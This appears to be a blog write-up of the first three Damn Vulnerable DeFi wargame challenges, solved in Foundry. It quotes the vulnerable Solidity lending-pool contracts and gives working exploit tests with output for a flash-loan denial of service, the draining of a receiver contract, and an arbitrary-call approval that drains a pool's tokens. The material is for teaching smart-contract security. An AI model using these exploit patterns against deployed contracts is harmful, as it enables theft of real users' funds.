Damn Vulnerable Defi (Foundry) - #1-3
๏ฌ 2023-04-16
About the DVDF and Foundry
Damn Vulnerable DeFi is the wargame to learn offensive security of DeFi smart contracts in Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart contract wallets, timelocks, and more!
Shout-out to @tinchoabbate for creating the original version of DVDF. If you prefer to use hardhat, check out the original repository. these posts are following this version of the DVDF project. Foundry is a toolkit for ethereum application development written in Rust. And it’s fun to use solidity to write tests.
Challenge #1 - Unstoppable
There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans …
You start with 100 DVT tokens in balance.
See the contracts Complete the challenge
Attack
Two main concepts that introduced here are:
- Flash loans
Flash Loans are special transactions that allow the borrowing of an asset, as long as the borrowed amount (and a fee) is returned before the end of the transaction (also called One Block Borrows). These transactions do not require a user to supply collateral prior to engaging in the transaction.1
- Lending pools
Lending pools are decentralized applications which allow mutually untrusted users to lend and borrow crypto-assets. 2 Users can lend assets to a LP by transferring tokens from their accounts to the LP. In return, they receive a claim, represented as tokens minted by the LP, which can later be redeemed for an equal or increased amount of tokens, of the same token type of the original deposit. 2
Also maybe DoS
, since the chall description says stop the pool from offering flash loans
.
Function flashLoan
expects that the poolBalance
value is equal to the DVT
balance of the UnstoppableLender
.
function flashLoan(uint256 borrowAmount) external nonReentrant {
if (borrowAmount == 0) revert MustBorrowOneTokenMinimum();
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
// Ensured by the protocol via the `depositTokens` function
if (poolBalance != balanceBefore) revert AssertionViolated();
damnValuableToken.transfer(msg.sender, borrowAmount);
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
The poolBalance
is only affected when depositToken
is called.
function depositTokens(uint256 amount) external nonReentrant {
if (amount == 0) revert MustDepositOneTokenMinimum();
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}
The issue here is, the lender has two different storage locations
that are expected to be holding the records for the pool balance (and expected to be equal too ๐) :
damnValuableToken.balanceOf(poolAddress)
-standard function-poolBalance
DVT
balance of the pool can be changed with an usual ERC20 transfer
to the poolAddress
. Which means, after any standart ERC20 transfer
to the unstoppableLender
, flashLoan
function will revert with AssertionViolated
for any other call to the flashLoan
.
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.startPrank(attacker);
dvt.transfer(address(unstoppableLender), 1);
vm.stopPrank();
/**
* EXPLOIT END *
*/
vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
validation();
console.log(unicode"\n๐ Congratulations, you can go to the next level! ๐");
}
โฏ make Unstoppable
forge test --match-test testExploit --match-contract Unstoppable
[โ ฐ] Compiling...
[โ ] Compiling 1 files with 0.8.17
[โ ] Solc 0.8.17 finished in 1.30s
Compiler run successful
Running 1 test for test/Levels/unstoppable/Unstoppable.t.sol:Unstoppable
[PASS] testExploit() (gas: 48401)
Logs:
๐งจ Let's see if you can break it... ๐งจ
๐ Congratulations, you can go to the next level! ๐
Test result: ok. 1 passed; 0 failed; finished in 5.27ms
Challenge #2 - Naive Receiver
There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ๐
See the contracts Complete the challenge
Attack
NaiveReceiverLenderPool
’s flashLoan
function takes a borrower address as an argument so a caller can abuse it to make another contract to borrow from the pool, as long as the passed address has the function signature3 receiveEther(uint256)
and enough ETH
balance.
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);
if (address(this).balance < balanceBefore + FIXED_FEE) {
revert FlashLoanHasNotBeenPaidBack();
}
}
Contract implementation has fixed fee, it’ll take 1 ether for each flashLoan. ๐ฐ๐ฐ๐ฐ
uint256 private constant FIXED_FEE = 1 ether;
flashLoanReceiver
is the contract instance mentioned in the chall description. Only function that receiver contains and is also called by the Lender (an instance of NaiveReceiverLenderPool
in this case), handles the flashLoan
process.
- Receives ether sent and the fee amount specified by the pool.
- Executes any action specified by the deployer (
_executeActionDuringFlashLoan
). - Sends/transfers the lent amount plus the fee back to the lender.
function receiveEther(uint256 fee) public payable {
if (msg.sender != pool) revert SenderMustBePool();
uint256 amountToBeRepaid = msg.value + fee;
if (address(this).balance < amountToBeRepaid) {
revert CannotBorrowThatMuch();
}
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
And yeah, this means that you can drain the FlashLoanReceiver
contract 1 ether at a time. ๐ค
Adding just a little bit of visual for that drain process:
t | flashLoan arg | balance before | balance after |
---|---|---|---|
0 | 9 | 10 | 9 |
1 | 8 | 9 | 8 |
2 | 7 | 8 | 7 |
… | |||
10 | 0 | 1 | 0 |
Loop the function flashLoan
till receiver is broke. ๐๐๐
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.startPrank(attacker);
for (uint256 i = 10; i > 0; i--) {
naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), (i - 1) * 1 ether);
}
vm.stopPrank();
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n๐ Congratulations, you can go to the next level! ๐");
}
The (i-1)
is just because of the loop’s control mechanism (Since the loop is using uint, it’ll throw an overflow/underflow error if it checks against 0--
).
โฏ make NaiveReceiver
forge test --match-test testExploit --match-contract NaiveReceiver
[โ ] Compiling...
[โ ฐ] Compiling 1 files with 0.8.17
[โ ] Solc 0.8.17 finished in 1.03s
Compiler run successful
Running 1 test for test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 188185)
Logs:
๐งจ Let's see if you can break it... ๐งจ
๐ Congratulations, you can go to the next level! ๐
Test result: ok. 1 passed; 0 failed; finished in 1.17ms
Challenge #3 - Truster
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don’t worry, you might be able to take them all from the pool. In a single transaction. See the contracts Complete the challenge
Attack
This is pretty straight forward, and code is also very similar to the first challenge. Description tells that there’s a free flash loan option in the lending pool, so the goal is stealing those funds. Function flashLoan()
lets the caller to specify a target instance and a function to call from that instance.
Requirements are (specified in the ):
- Must borrow less than the current balance of the pool, and balanceBefore must not be lower than balanceAfter. This either
might
be an overflow/underflow like situation4 or a legit transfer. - Must drain the pool with that function call.
- Must return the borrow to complete the flashLoan.
- Must finish all of these in a single transaction.
function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
Since this attack must be done in a single transaction, and the attacker has one extra function call, it looks like it’s not possible to drain and return. But the thing is… you don’t have to loan at all ๐ค so you don’t have to return anything, just borrow 0 ether contract is not checking the borrow amount. (this assures {balanceBefore < borrowAmount} and {balanceAfter < balanceBefore} right ๐คก).
To drain, attacker approves all of the tokens in the pool in the functionCall
, because this contract is executing a call using a passed value (4th parameter on the flashLoan
func). dvt.transferFrom
called to transfer all of those tokens from pool to attacker wallet, by attacker since it’s approved already.
Some kind of encoding is required because we have to pass bytecode. There are 2 easy methods for passing these5 :
- abi.encodeWithSelector()
- abi.encodeWithSignature()
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.startPrank(attacker);
bytes memory funcCallSig =
abi.encodeWithSignature("approve(address,uint256)", address(attacker), TOKENS_IN_POOL);
trusterLenderPool.flashLoan(0, address(attacker), address(dvt), funcCallSig);
dvt.transferFrom(address(trusterLenderPool), address(attacker), TOKENS_IN_POOL);
vm.stopPrank();
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n๐ Congratulations, you can go to the next level! ๐");
}
โฏ make Truster
forge test --match-test testExploit --match-contract Truster
[โ ] Compiling...
[โ ] Compiling 1 files with 0.8.17
[โ ] Solc 0.8.17 finished in 1.25s
Compiler run successful
Running 1 test for test/Levels/truster/Truster.t.sol:Truster
[PASS] testExploit() (gas: 69301)
Logs:
๐งจ Let's see if you can break it... ๐งจ
๐ Congratulations, you can go to the next level! ๐
Test result: ok. 1 passed; 0 failed; finished in 1.13ms
-
Quoted from: https://docs.aave.com/developers/guides/flash-loans ↩︎
-
Also quoted from: https://arxiv.org/pdf/2012.13230.pdf ↩︎ ↩︎
-
is defined as the canonical expression of the basic prototype, i.e. the function name with the parenthesised list of parameter types. read more on : https://docs.soliditylang.org/en/v0.4.21/abi-spec.html#function-selector ↩︎
-
it’s not ๐คก ↩︎
-
about data locations in solidity https://solidity-by-example.org/data-locations/ . this post is nice to read also https://coinsbench.com/solidity-tutorial-all-about-abi-46da8b517e7 ↩︎